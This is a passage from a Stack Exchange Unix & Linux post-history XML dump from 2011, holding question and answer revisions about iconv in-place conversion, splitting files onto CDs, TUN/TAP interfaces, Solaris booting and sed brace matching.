&#xD;&#xA;&gt; Periodical updates to the initially&#xD;&#xA;&gt; distributed collection can be issued&#xD;&#xA;&gt; with  help of `distribute'.&#xD;&#xA;&#xD;&#xA;It does the whole process in several stages: at one stage, it creates the furure disk &quot;layouts&quot; by using symlinks to the original files -- so you can intervene and change the future disk trees.&#xD;&#xA;&#xD;&#xA;The details about its usage can be read in the help message printed by the script (or by looking into the source code).&#xD;&#xA;&#xD;&#xA;It was written with a more trickier use case in mind (issuing updates as a &quot;diff&quot;--the set of added new files--to the originally recorded collection of files), so it includes one extra initial stage, namely, &quot;fixing&quot; the current state of the collection of files (for simplicity, it does this by replicating the original collection of files by means of symlinks, in a special working place for saving the states of the collection; then, some time in the future, it will be able to create a diff between a future current state of the collection of files and the current current state). So, although you might not need this feature, you can't skip this initial stage, AFAIR.&#xD;&#xA;&#xD;&#xA;Also, I'm not sure now (I wrote it quite a few years ago) whether it treats complex trees well, or it is supposed to split only plain (one level) directories of files. (Please look into the help message or the source code to be sure; I'll look this up, too, a bit later, when I'll have some time.)&#xD;&#xA;&#xD;&#xA;The APT-related stuff is optional, so don't pay attention that it can prepare package collections to be used by APT if you don't need this.&#xD;&#xA;&#xD;&#xA;If you get interested, of course, feel free to rewrite it to your needs or suggest improvements.&#xD;&#xA;&#xD;&#xA;(Please pay attention that [the package](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute/get) includes additional useful patches not applied in the presented code listing at the Git repo linked above!)" />
  <row Id="24571" PostHistoryTypeId="6" PostId="4899" RevisionGUID="fd0b2d20-91bd-416d-8569-a3918e617f29" CreationDate="2011-03-28T19:03:17.810" UserId="885" Comment="edited tags" Text="éshellàéshellöscriptàéenvironmentövariablesàéposixàéquotingà" />
  <row Id="24572" PostHistoryTypeId="6" PostId="10158" RevisionGUID="fbe38332-a468-40f2-b471-df1dc22d0ed4" CreationDate="2011-03-28T19:03:47.903" UserId="885" Comment="edited tags" Text="ébackupàédisköusageàésplitàéburningà" />
  <row Id="24573" PostHistoryTypeId="6" PostId="10214" RevisionGUID="c958b597-bb57-48b4-865d-3bb3e106c4d9" CreationDate="2011-03-28T19:08:39.477" UserId="885" Comment="edited tags" Text="élinuxàéprocessàéswapà" />
  <row Id="24574" PostHistoryTypeId="2" PostId="10241" RevisionGUID="b68c74bd-deb1-4270-8d64-ff12833e7093" CreationDate="2011-03-28T19:09:27.667" UserId="2547" Text="I have a bash script which enumerates through every *.php file in a directory and applies `iconv` to it. This gets output in STDOUT. &#xD;&#xA;&#xD;&#xA;Since adding the `-o` parameter ( in my experience ) actually writes a blank file probably before the conversion takes place, how can I adjust my script so it does the conversion, then overwrites the input file?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for file in *.php&#xD;&#xA;    do&#xD;&#xA;        iconv -f cp1251 -t utf8 &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24575" PostHistoryTypeId="1" PostId="10241" RevisionGUID="b68c74bd-deb1-4270-8d64-ff12833e7093" CreationDate="2011-03-28T19:09:27.667" UserId="2547" Text="How can I make iconv replace the input file with the converted output?" />
  <row Id="24576" PostHistoryTypeId="3" PostId="10241" RevisionGUID="b68c74bd-deb1-4270-8d64-ff12833e7093" CreationDate="2011-03-28T19:09:27.667" UserId="2547" Text="ébashà" />
  <row Id="24577" PostHistoryTypeId="2" PostId="10242" RevisionGUID="d00a5d45-1a4a-48eb-8d16-bc6890fb705a" CreationDate="2011-03-28T19:10:36.053" UserId="4" Text="In order to isolate the problem, move /usr/local/xxxx/check-interface.bash to /etc/cron.hourly/check , and then see if it runs.&#xD;&#xA;&#xD;&#xA;If the script does run, then the problem is caused by an ownership/permissions or related issue which is preventing cron from executing scripts at /usr/local/xxxx/*.&#xD;&#xA;&#xD;&#xA;If the script does not run, then the problem is most likely with your script itself.&#xD;&#xA;&#xD;&#xA;As another sanity check, replace the contents of `/usr/local/xxxx/check-interface.bash` with something dead simple, like:&#xD;&#xA;&#xD;&#xA;    date &gt; /tmp/check-interfaces.log 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;And then see if /tmp/check-interfaces.log is actually being populated by your cronjob. If it does work, then the problem must be with your original script." />
  <row Id="24578" PostHistoryTypeId="2" PostId="10243" RevisionGUID="9edf5125-0e9b-49e4-af64-b24c3a0af7f4" CreationDate="2011-03-28T19:17:59.333" UserId="885" Text="This isn't working because `iconv` first creates the output file (since the file already exists, it truncates it), then starts reading its input file (which is now empty). Most programs behave this way.&#xD;&#xA;&#xD;&#xA;Create a new, temporary file for the output, then move it into place.&#xD;&#xA;&#xD;&#xA;    for file in *.php&#xD;&#xA;    do&#xD;&#xA;        iconv -f cp1251 -t utf8 -o &quot;$file.new&quot; &quot;$file&quot; &amp;&amp;&#xD;&#xA;        mv -f &quot;$file.new&quot; &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;[Joey Hess's `sponge` utility](http://kitenet.net/~joey/code/moreutils/) automates this:&#xD;&#xA;&#xD;&#xA;    for file in *.php&#xD;&#xA;    do&#xD;&#xA;        iconv -f cp1251 -t utf8 &quot;$file&quot; | sponge &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="24579" PostHistoryTypeId="6" PostId="10241" RevisionGUID="b4fe972d-5ccb-487f-a589-8f5677fa8aff" CreationDate="2011-03-28T19:18:08.973" UserId="885" Comment="edited tags" Text="éshellàéioöredirectionà" />
  <row Id="24580" PostHistoryTypeId="2" PostId="10244" RevisionGUID="eba1c3bd-60f8-4401-a10f-e3dc5535408a" CreationDate="2011-03-28T19:20:26.447" UserId="3886" Text="It's not always &quot;tunnel&quot;. TUN/TAP is just specific NIC drivers. From point of view of network stack they acts as any other network interfaces: they can have IP addresses, can be point-to-point or broadcast interfaces. Routing rules also applies to them.&#xD;&#xA;But all traffic that gets written to one of that network interfaces goes to some userspace program for processing, and all data written by userspace program directly to `/dev/tunX` looks like incoming packets for network stack.&#xD;&#xA;&#xD;&#xA;In usual tunneling setup server and client have TUN devices with assigned addresses. Routing tables configured on both of them directs needed traffic to this TUN devices. When packet get routed to tun0, kernel sends it to userspace program (client) that sends this packet to other program on remote machine (server) via, for example, TCP connection. On remote machine other program (server) recieves packet from client and writes it to it's own `/dev/tunX` device, &quot;injecting&quot; that packet into network stack. And tunneled packet gets processed as any other." />
  <row Id="24581" PostHistoryTypeId="2" PostId="10245" RevisionGUID="bc3941fc-7dcd-4949-ba0f-a9424a7eec87" CreationDate="2011-03-28T19:21:47.297" UserId="6115" Text="Hi I am trying to start up my solaris server using the newly downloaded iso written on a CD.&#xD;&#xA;&#xD;&#xA;the iso name is : sol-10-u9-ga-sparc-dvd.iso&#xD;&#xA;&#xD;&#xA;When we started the server;&#xD;&#xA;&#xD;&#xA;logging in as root then tried to boot the system from CD-Rom&#xD;&#xA;&#xD;&#xA;but the output is :&#xD;&#xA;&#xD;&#xA;ok here is the scenario outputs :&#xD;&#xA;&#xD;&#xA;sc&gt; reset  &#xD;&#xA;Are you sure you want to reset the system (y/n)? y&#xD;&#xA;Chassis | critical: Host has been reset&#xD;&#xA;Performing hard reset on the system&#xD;&#xA;&#xD;&#xA;Chassis | critical: Host has been powered off&#xD;&#xA;sc&gt; poweronChassis | major: Host has been powered on&#xD;&#xA;&#xD;&#xA;The Host System Power is already running.&#xD;&#xA;&#xD;&#xA;sc&gt; Chassis | major: Mar 28 13:47:34 ERROR: MB/CMP0/BR2/CH0/D0 must be populated, MB/CMP0/MCU2 not configured&#xD;&#xA;Chassis | major: Mar 28 13:47:34 ERROR: MB/CMP0/BR3/CH0/D0 must be populated, MB/CMP0/MCU3 not configured&#xD;&#xA;&#xD;&#xA;Chassis | major: Mar 28 13:47:34 ERROR: MB/CMP0/L2_BANK4, MB/CMP0/L2_BANK5 unused because MB/CMP0/MCU2 is not configured&#xD;&#xA;&#xD;&#xA;Chassis | major: Mar 28 13:47:34 ERROR: MB/CMP0/L2_BANK6, MB/CMP0/L2_BANK7 unused because MB/CMP0/MCU3 is not configured&#xD;&#xA;&#xD;&#xA;Chassis | major: Mar 28 13:47:34 ERROR: Degraded configuration: system operating at reduced capacity&#xD;&#xA;&#xD;&#xA;Chassis | major: Mar 28 13:47:34 ERROR: System DRAM Available: 016384 MB&#xD;&#xA;&#xD;&#xA;Chassis | major: Mar 28 13:47:34 ERROR: Only 4 cores, up to 32 cpus are configured because some L2_BANKS are unusable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;after this next enter brings us a command prompt for sc&gt;&#xD;&#xA;&#xD;&#xA;but no boot command recognized here..&#xD;&#xA;&#xD;&#xA;do you have any idea about this issue ?" />
  <row Id="24582" PostHistoryTypeId="1" PostId="10245" RevisionGUID="bc3941fc-7dcd-4949-ba0f-a9424a7eec87" CreationDate="2011-03-28T19:21:47.297" UserId="6115" Text="Solaris 10 boot from cd-rom" />
  <row Id="24583" PostHistoryTypeId="3" PostId="10245" RevisionGUID="bc3941fc-7dcd-4949-ba0f-a9424a7eec87" CreationDate="2011-03-28T19:21:47.297" UserId="6115" Text="ébootàésolarisà" />
  <row Id="24584" PostHistoryTypeId="5" PostId="10245" RevisionGUID="d1df45b5-5e1c-4e5a-9981-966ffb50e82b" CreationDate="2011-03-28T19:46:11.987" UserId="885" Comment="formatting; grammar" Text="I am trying to start up my solaris server using the newly downloaded iso written on a CD.&#xD;&#xA;&#xD;&#xA;The iso name is `sol-10-u9-ga-sparc-dvd.iso`&#xD;&#xA;&#xD;&#xA;When we started the server, logging in as root then tried to boot the system from CD-Rom, this is what happened:&#xD;&#xA;&#xD;&#xA;    sc&gt; reset  &#xD;&#xA;    Are you sure you want to reset the system (y/n)? y&#xD;&#xA;    Chassis | critical: Host has been reset&#xD;&#xA;    Performing hard reset on the system&#xD;&#xA;    &#xD;&#xA;    Chassis | critical: Host has been powered off&#xD;&#xA;    sc&gt; poweronChassis | major: Host has been powered on&#xD;&#xA;    &#xD;&#xA;    The Host System Power is already running.&#xD;&#xA;    &#xD;&#xA;    sc&gt; Chassis | major: Mar 28 13:47:34 ERROR: MB/CMP0/BR2/CH0/D0 must be populated, MB/CMP0/MCU2 not configured&#xD;&#xA;    Chassis | major: Mar 28 13:47:34 ERROR: MB/CMP0/BR3/CH0/D0 must be populated, MB/CMP0/MCU3 not configured&#xD;&#xA;    &#xD;&#xA;    Chassis | major: Mar 28 13:47:34 ERROR: MB/CMP0/L2_BANK4, MB/CMP0/L2_BANK5 unused because MB/CMP0/MCU2 is not configured&#xD;&#xA;    &#xD;&#xA;    Chassis | major: Mar 28 13:47:34 ERROR: MB/CMP0/L2_BANK6, MB/CMP0/L2_BANK7 unused because MB/CMP0/MCU3 is not configured&#xD;&#xA;    &#xD;&#xA;    Chassis | major: Mar 28 13:47:34 ERROR: Degraded configuration: system operating at reduced capacity&#xD;&#xA;    &#xD;&#xA;    Chassis | major: Mar 28 13:47:34 ERROR: System DRAM Available: 016384 MB&#xD;&#xA;    &#xD;&#xA;    Chassis | major: Mar 28 13:47:34 ERROR: Only 4 cores, up to 32 cpus are configured because some L2_BANKS are unusable&#xD;&#xA;&#xD;&#xA;After this, pressing &lt;kbd&gt;Enter&lt;/kbd&gt; brings us a command prompt for `sc&gt;`, but no boot command is recognized here.&#xD;&#xA;&#xD;&#xA;How can we boot from the CD?&#xD;&#xA;" />
  <row Id="24585" PostHistoryTypeId="2" PostId="10246" RevisionGUID="7bcd5092-381d-4dc1-9a68-a1c2df978513" CreationDate="2011-03-28T19:57:27.643" UserId="6116" Text="I'm using a G4 1.5ghz PPC 32bit Powerbook&#xD;&#xA;&#xD;&#xA;I followed the instructions on this site.&#xD;&#xA;&#xD;&#xA;&lt;http://mintppc.org/content/installation-mintppc-92&gt;&#xD;&#xA;&#xD;&#xA;But could never get my powerbook to boot up from the usb drive.&#xD;&#xA;&#xD;&#xA;I can not use a CD because my DVD drive is busted. Thus the need for USB." />
  <row Id="24586" PostHistoryTypeId="1" PostId="10246" RevisionGUID="7bcd5092-381d-4dc1-9a68-a1c2df978513" CreationDate="2011-03-28T19:57:27.643" UserId="6116" Text="How to make USB debian squeeze disk for PPC?" />
  <row Id="24587" PostHistoryTypeId="3" PostId="10246" RevisionGUID="7bcd5092-381d-4dc1-9a68-a1c2df978513" CreationDate="2011-03-28T19:57:27.643" UserId="6116" Text="édebianàéinstallàéliveöusbà" />
  <row Id="24588" PostHistoryTypeId="6" PostId="10206" RevisionGUID="b44f2498-d663-43fe-a9be-6d87fbef57f4" CreationDate="2011-03-28T20:15:52.083" UserId="885" Comment="edited tags" Text="énetworkingàéroutingàéipàéhttpöproxyà" />
  <row Id="24589" PostHistoryTypeId="2" PostId="10247" RevisionGUID="4a56a276-842b-4b02-9a93-c3a02802fbe9" CreationDate="2011-03-28T20:16:05.513" UserId="6118" Text="Regular expressions cannot find matching nested parentheses.&#xD;&#xA;&#xD;&#xA;If you are certain that there will be no pair of parentheses nested inside the one you are searching, you can search until the first closing one:&#xD;&#xA;&#xD;&#xA;    \{[^}]\}" />
  <row Id="24590" PostHistoryTypeId="5" PostId="10247" RevisionGUID="f92024ab-64e5-422d-9b4e-bc3aadc5be60" CreationDate="2011-03-28T20:32:33.440" UserId="6118" Comment="added 103 characters in body; added 3 characters in body" Text="Regular expressions cannot find matching nested parentheses.&#xD;&#xA;&#xD;&#xA;If you are certain that there will be no pair of parentheses nested inside the one you are searching, you can search until the first closing one. For example:&#xD;&#xA;&#xD;&#xA;    sed -r 's#\{([^}])\}#\1#'&#xD;&#xA;&#xD;&#xA;This will replace all the text from '{' to '}' with what's between them." />
  <row Id="24591" PostHistoryTypeId="2" PostId="10248" RevisionGUID="7bacf408-ce6c-4279-9a13-dc1b5bae9535" CreationDate="2011-03-28T20:42:38.070" UserId="6119" Text="i do it using script, this is from my tmux.conf file&#xD;&#xA;&#xD;&#xA;bind ^C new-window &quot;script -f /home/jcosta/mydocs/work/logs/$(date '+%d%m%Y_%H%M%S')_$$.log&quot;&#xD;&#xA;&#xD;&#xA;bind c new-window &quot;script -f /home/jcosta/mydocs/work/logs/$( date '+%d%m%Y_%H%M%S')_$$.log&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;bind | split-window &quot;script -f /home/jcosta/mydocs/work/logs/$(date '+%d%m%Y_%H%M%S')_$$.log&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24592" PostHistoryTypeId="25" PostId="10240" RevisionGUID="5d9d5afc-b628-45bb-be69-32fbfa8ae9d2" CreationDate="2011-03-28T21:00:03.103" Comment="http://twitter.com/#!/StackUnix/status/52475056714035200" />
  <row Id="24593" PostHistoryTypeId="2" PostId="10249" RevisionGUID="cedd3688-864d-47e0-b1f6-a5ba6861a1d0" CreationDate="2011-03-28T21:05:19.887" UserId="1223" Text="You can use the -M (multiline) option for pcregrep:&#xD;&#xA;&#xD;&#xA;    pcregrep -M '\{(\s*.*\s*)*\}' test.txt&#xD;&#xA;&#xD;&#xA;\s is whitespace (including newlines), so this matches zero or more occurrences of (whitespace followed by .* followed by whitespace), all enclosed in braces.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit:  err.. you may have to add in '?' to make some of those matches non-greedy.  Will test it out and update... later.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24594" PostHistoryTypeId="5" PostId="10117" RevisionGUID="25a8afcf-6b31-45b0-a16f-7bb4e3165b0e" CreationDate="2011-03-28T21:20:05.463" UserId="298" Comment="clarity" Text="It really depends on what you are trying to accomplish, and what you mean by &quot;Distributed Computing Cluster.&quot;  I did a similar thing once in Uni using old machines and [PVM][1] that's the &quot;Cluster&quot; in the sense of a bunch of machines acting as one single computer to do parallel processing - think Beowulf clusters.  Of course, you will need code that is written to take advantage of this.  &#xD;&#xA;&#xD;&#xA;A good place to start, would be determining what you are looking to learn with this project.  I recommend reading the wikipedia article on [Parallel Computing][2] for starters, and then refining your needs based on what you want to do.  &#xD;&#xA;&#xD;&#xA;A simple job queuing system (like [gearman][3]) may be enough to get some cool results quickly.  &#xD;&#xA;&#xD;&#xA;The problem I had when I made a parallel computing cluster, was I didn't have anything to do on it, it just basically sat there, but it was a fun project and I learned quite a bit.  In any case, you are likely to learn quite a bit and have fun at the same time, regardless of what you choose to implement.  &#xD;&#xA;&#xD;&#xA;As far as choice of distributions, I would go with what I was most comfortable with, as you will likely need to install things from source.  Once you are comfortable getting everything setup, then you can look into finding a distribution that is tailored more towards your needs.  But any distribution should do.  &#xD;&#xA;&#xD;&#xA;What software to configure the cluster?  This depends entirely on what type of cluster you create. &#xD;&#xA;&#xD;&#xA;On board vs. distributed FS?  Again, this depends on what the requirements for your cluster are.  Will each node be passing data back and forth among the other nodes? Will they operate as slaves with a single master? will they operatae completely independently?  These questions will start to inform your choices.  And of course, there are always trade offs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.csm.ornl.gov/pvm/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Parallel_computing&#xD;&#xA;  [3]: http://gearman.org/" />
  <row Id="24595" PostHistoryTypeId="5" PostId="10117" RevisionGUID="4e802b66-f14d-4763-85ed-92e39d345bf5" CreationDate="2011-03-28T21:26:51.853" UserId="298" Comment="Add links to parallel computing resources." Text="It really depends on what you are trying to accomplish, and what you mean by &quot;Distributed Computing Cluster.&quot;  I did a similar thing once in Uni using old machines and [PVM][1] that's the &quot;Cluster&quot; in the sense of a bunch of machines acting as one single computer to do parallel processing - think Beowulf clusters.  Of course, you will need code that is written to take advantage of this.  &#xD;&#xA;&#xD;&#xA;A good place to start, would be determining what you are looking to learn with this project.  I recommend reading the wikipedia article on [Parallel Computing][2] for starters, and then refining your needs based on what you want to do.  &#xD;&#xA;&#xD;&#xA;A simple job queuing system (like [gearman][3]) may be enough to get some cool results quickly.  &#xD;&#xA;&#xD;&#xA;The problem I had when I made a parallel computing cluster, was I didn't have anything to do on it, it just basically sat there, but it was a fun project and I learned quite a bit.  In any case, you are likely to learn quite a bit and have fun at the same time, regardless of what you choose to implement.  &#xD;&#xA;&#xD;&#xA;As far as choice of distributions, I would go with what I was most comfortable with, as you will likely need to install things from source.  Once you are comfortable getting everything setup, then you can look into finding a distribution that is tailored more towards your needs.  But any distribution should do.  &#xD;&#xA;&#xD;&#xA;What software to configure the cluster?  This depends entirely on what type of cluster you create. &#xD;&#xA;&#xD;&#xA;On board vs. distributed FS?  Again, this depends on what the requirements for your cluster are.  Will each node be passing data back and forth among the other nodes? Will they operate as slaves with a single master? will they operatae completely independently?  These questions will start to inform your choices.  And of course, there are always trade offs.  &#xD;&#xA;&#xD;&#xA;Some other links that might prove interesting: &#xD;&#xA;&#xD;&#xA;http://hadoop.apache.org/&#xD;&#xA;&#xD;&#xA;http://www.csm.ornl.gov/oscar/&#xD;&#xA;&#xD;&#xA;https://computing.llnl.gov/tutorials/parallel_comp/&#xD;&#xA;&#xD;&#xA;http://www.google.com/Top/Computers/Parallel_Computing/Programming/Environments/&#xD;&#xA;&#xD;&#xA;http://www.google.com/Top/Computers/Parallel_Computing/Beowulf/&#xD;&#xA;&#xD;&#xA;  [1]: http://www.csm.ornl.gov/pvm/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Parallel_computing&#xD;&#xA;  [3]: http://gearman.org/" />
  <row Id="24596" PostHistoryTypeId="5" PostId="10221" RevisionGUID="e955ace6-2b2a-4891-85d0-fd27dabe3672" CreationDate="2011-03-28T21:33:11.623" UserId="4319" Comment="(minor) A nicer wording." Text="I once wrote a script to solve a similar problem -- I called it &quot;distribute&quot; (you can read [the main code of the script](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD) or [the file with the help message](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/lib/distribute/helpdata;h=7f3fc7da134d59a3a7a2192083b4d008f1011066;hb=HEAD), or [download it as a package](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute/get)); from its [description](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute):&#xD;&#xA;&#xD;&#xA;&gt; **distribute** -- Distribute a collection of packages on&#xD;&#xA;&gt; multiple CDs (especially good for&#xD;&#xA;&gt; future use with APT)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Description:&#xD;&#xA;&gt; `distribute' program makes doing the&#xD;&#xA;&gt; tasks related to creating a CD set for&#xD;&#xA;&gt; distribution of a collection of&#xD;&#xA;&gt; packages easier. The tasks include: &#xD;&#xA;&gt; laying out the CDs filesystem&#xD;&#xA;&gt; (splitting the large amount of&#xD;&#xA;&gt; packages into  several discs etc.),&#xD;&#xA;&gt; preparing the collection for use by&#xD;&#xA;&gt; APT  (indexing), creating ISO images&#xD;&#xA;&gt; and recording the discs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Periodical updates to the initially&#xD;&#xA;&gt; distributed collection can be issued&#xD;&#xA;&gt; with  help of `distribute'.&#xD;&#xA;&#xD;&#xA;It does the whole process in several stages: at one stage, it creates the furure disk &quot;layouts&quot; by using symlinks to the original files -- so you can intervene and change the future disk trees.&#xD;&#xA;&#xD;&#xA;The details about its usage can be read in the help message printed by the script (or by looking into the source code).&#xD;&#xA;&#xD;&#xA;It was written with a more trickier use case in mind (issuing updates as a &quot;diff&quot;--the set of added new files--to the originally recorded collection of files), so it includes one extra initial stage, namely, &quot;fixing&quot; the current state of the collection of files (for simplicity, it does this by replicating the original collection of files by means of symlinks, in a special working place for saving the states of the collection; then, some time in the future, it will be able to create a diff between a future current state of the collection of files and this saved state). So, although you might not need this feature, you can't skip this initial stage, AFAIR.&#xD;&#xA;&#xD;&#xA;Also, I'm not sure now (I wrote it quite a few years ago) whether it treats complex trees well, or it is supposed to split only plain (one level) directories of files. (Please look into the help message or the source code to be sure; I'll look this up, too, a bit later, when I'll have some time.)&#xD;&#xA;&#xD;&#xA;The APT-related stuff is optional, so don't pay attention that it can prepare package collections to be used by APT if you don't need this.&#xD;&#xA;&#xD;&#xA;If you get interested, of course, feel free to rewrite it to your needs or suggest improvements.&#xD;&#xA;&#xD;&#xA;(Please pay attention that [the package](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute/get) includes additional useful patches not applied in the presented code listing at the Git repo linked above!)" />
  <row Id="24597" PostHistoryTypeId="2" PostId="10250" RevisionGUID="f5a2ae70-2746-41ce-b465-df82455cd6c3" CreationDate="2011-03-28T22:01:10.503" UserId="6122" Text="While I agree with the advice above, that you'll want to get a parser for anything more than tiny or completely ad-hoc, it is (barely ;-) possible to match multi-line blocks between curly braces with sed.&#xD;&#xA;&#xD;&#xA;Here's a debugging version of the sed code&#xD;&#xA;&#xD;&#xA;    sed -n '/[{]/,/[}]/{&#xD;&#xA;        p&#xD;&#xA;        /[}]/a\&#xD;&#xA;         end of block matching brace&#xD;&#xA;    &#xD;&#xA;        }' *.txt&#xD;&#xA;&#xD;&#xA;Some notes, &#xD;&#xA;&#xD;&#xA;   - -n means 'no default print lines as processed'. &#xD;&#xA;   - 'p' means **now** print the line. &#xD;&#xA;   - The construct `/[{]/,/[}]/` is a range expression. It means scan until you find something that matches the first pattern `(/[{]/)` AND then scan until you find the 2nd pattern `(/[}]/)` THEN perform whatever actions you find in between the { } in the sed code. In this case 'p' and the debugging code. (not explained here, use it, mod it or take it out as works best for you).&#xD;&#xA;&#xD;&#xA;You can remove the /[}]/a\ end of block debugging when you prove to your satisfaction that the code is really matching blocks delimited by {,}.&#xD;&#xA;&#xD;&#xA;This code sample will skip over anything not inside a curly brace pair.&#xD;&#xA;It will, as noted by others above, be easly confused if you have any extra {,} embedded in strings, reg-exps, etc.&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, or give it a + (or -) as a useful answer&#xD;&#xA;" />
  <row Id="24598" PostHistoryTypeId="6" PostId="8986" RevisionGUID="255ac167-5645-40f5-8b59-3f100c074df5" CreationDate="2011-03-28T22:28:39.960" UserId="885" Comment="edited tags" Text="étextöprocessingà" />
  <row Id="24599" PostHistoryTypeId="6" PostId="4830" RevisionGUID="3a5bc293-4c1b-41f5-ab87-ba67436ad8e8" CreationDate="2011-03-28T22:28:51.100" UserId="885" Comment="edited tags" Text="éshellàécommandölineàésudoàéioöredirectionà" />
  <row Id="24600" PostHistoryTypeId="2" PostId="10251" RevisionGUID="7185d5cd-ea91-44d6-b57f-7cfcefda414d" CreationDate="2011-03-28T22:57:57.887" UserId="29" Text="I've got a full album flac, and a cue file for it. How can I split this into a flac per track. I'm a KDE user, so I would prefer a KDE/QT way, I would like to see command line and other gui answer's as well, but they are not my preferred method." />
  <row Id="24601" PostHistoryTypeId="1" PostId="10251" RevisionGUID="7185d5cd-ea91-44d6-b57f-7cfcefda414d" CreationDate="2011-03-28T22:57:57.887" UserId="29" Text="How do I split a flac with a cue?" />
  <row Id="24602" PostHistoryTypeId="3" PostId="10251" RevisionGUID="7185d5cd-ea91-44d6-b57f-7cfcefda414d" CreationDate="2011-03-28T22:57:57.887" UserId="29" Text="écommandölineàékdeàéaudioàéflacàécueà" />
  <row Id="24603" PostHistoryTypeId="5" PostId="8600" RevisionGUID="0250b751-48f9-4d0e-a051-bf5663165278" CreationDate="2011-03-28T23:00:17.917" UserId="885" Comment="added 1986 characters in body" Text="Unix systems tend to favor text files, often consisting of one record per line. Most unix configuration files are text files. Unix systems come with many tools to manipulate such files. Most tools process the file in a stream: read a line, process it, emit the corresponding output; this makes it possible to chain scripts with pipes.&#xD;&#xA;&#xD;&#xA;Use this tag when your question is about processing text files and you're not sure which tool to use. If your question is about a specific tool, use its tag.&#xD;&#xA;&#xD;&#xA;### Text processing utilities&#xD;&#xA;&#xD;&#xA;* [tag:sed] a simple line-by-line text processor, mostly used for regexp substitutions.&#xD;&#xA;* [tag:awk] a scripting language dedicated to text file processing&#xD;&#xA;&#xD;&#xA;Text processing often involves combining many single-purpose tools, such as:&#xD;&#xA;&#xD;&#xA;* [tag:cut] select fields on each line&#xD;&#xA;* [tag:diff] compare two files line by line&#xD;&#xA;* [tag:grep] search a pattern in text files&#xD;&#xA;* [tag:od] display binary files in decimal, octal or hexadecimal&#xD;&#xA;* [tag:sort] sort lines or fields alphabetically&#xD;&#xA;* [tag:split] split a file into fixed-size pieces&#xD;&#xA;* [tag:tail] show the last few lines of a file; `tail -f` keeps the file open in case more data arrives&#xD;&#xA;* [tag:tee] replicate the output of a command and send it to several destinations&#xD;&#xA;&#xD;&#xA;For a list of many text utilities and more, check out [busybox commands](http://www.busybox.net/downloads/BusyBox.html#commands) or [GNU coreutils](http://www.gnu.org/software/coreutils/manual/coreutils.html#toc_Top).&#xD;&#xA;&#xD;&#xA;### Other related tags&#xD;&#xA;&#xD;&#xA;* [tag:shell] text processing is usually performed by shell scripts that calls the tools described above&#xD;&#xA;* [tag:pipe] many tasks require chaining several tools&#xD;&#xA;* [tag:coreutils] the collection of GNU utilities (text processing and others), for regular Linux systems&#xD;&#xA;* [tag:busybox] a collection of utilities (text processing and others) for embedded Linux systems&#xD;&#xA;* [tag:perl] [tag:python] [tag:ruby] when the going gets tough, it's better to switch to more general languages&#xD;&#xA;" />
  <row Id="24604" PostHistoryTypeId="10" PostId="10191" RevisionGUID="d0c63235-0377-487c-87e9-822f4eec6787" CreationDate="2011-03-28T23:22:23.773" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="24605" PostHistoryTypeId="2" PostId="10252" RevisionGUID="a0f43f06-634a-48e2-b0f3-8abe7479f9f0" CreationDate="2011-03-28T23:50:13.150" UserId="6083" Text="backup2l can do a lot of this work.  Even if you don't use the package directly, you might get some script ideas from it." />
  <row Id="24606" PostHistoryTypeId="25" PostId="10241" RevisionGUID="94062d32-944b-4ab5-aa14-7674fd8a28fa" CreationDate="2011-03-29T00:00:11.083" Comment="http://twitter.com/#!/StackUnix/status/52520388269318144" />
  <row Id="24607" PostHistoryTypeId="2" PostId="10253" RevisionGUID="9dd78e1f-d449-4335-8136-83b6d45b9ece" CreationDate="2011-03-29T00:37:04.967" UserId="916" Text="Is there a *nix whose package manager *doesn't* split Python into multiple packages (typically something like `python` and `python-devel`). I'd really like to just get the entire standard library when I install it, since that's how it's designed to work. Thanks." />
  <row Id="24608" PostHistoryTypeId="1" PostId="10253" RevisionGUID="9dd78e1f-d449-4335-8136-83b6d45b9ece" CreationDate="2011-03-29T00:37:04.967" UserId="916" Text="*nix whose package manager DOES NOT split Python into multiple packages" />
  <row Id="24609" PostHistoryTypeId="3" PostId="10253" RevisionGUID="9dd78e1f-d449-4335-8136-83b6d45b9ece" CreationDate="2011-03-29T00:37:04.967" UserId="916" Text="épackageömanagementàépythonà" />
